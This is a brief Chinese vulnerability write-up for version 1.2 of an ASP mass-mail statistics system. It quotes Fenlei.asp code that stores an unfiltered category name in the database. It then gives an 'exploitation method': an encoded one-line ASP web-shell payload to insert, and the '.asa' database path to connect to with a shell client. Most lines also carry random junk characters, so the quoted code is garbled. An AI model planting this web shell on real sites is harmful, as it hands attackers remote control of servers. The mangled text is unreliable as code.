铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
1 @& ?( f( w2 ~+ }: c* p5 s# Y
9 n1 f+ [! ]* E" fIF Request.QueryString("Action")="del" Then
4 l; i  u: C# E8 Q0 QID=Request.QueryString("ID")
- k' s9 O/ Z+ u& L( T* JIF Countss ("tui","Fenlei",ID )<>0 then
% |+ [) r0 o+ q* V7 Y/ s& J% `! }'略
2 ]/ _, _9 {& ^' dIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
, Y& S. p& l: t+ O+ X- _. WSet Rs=Server.CreateObject("adodb.Recordset")
/ ^" J: C8 w) |6 h) X, R- r) FSql="Select * From Fenlei Order by id Desc "
* J5 B$ W9 h7 [# e+ [8 w" I8 S6 bRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
, [! d9 B1 {5 D- V) g0 s+ w6 f'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
6 d, c2 Q7 ?% H%>



1 D# Y  T. g* V2 O没有过滤，直接写入数据库。
" m! C8 M! ^% k) J. I7 v' k
利用方法：

7 W$ v9 J8 `1 E: U7 J& ~  p- V4 F" Z插入：┼攠數畣整爠煥敵瑳∨≡┩>

2 z5 t2 Y+ [: Q3 }8 d0 M
% J! I; v4 w$ p/ E8 \$ ?连接： http://www.xxx.com/###tongbaner.asa
2 w9 o* {' M7 K0 ]' r'默认安装文件：
. \. o8 k3 e2 q4 R! [2 Q- j$ D; F1 x- E'install.asp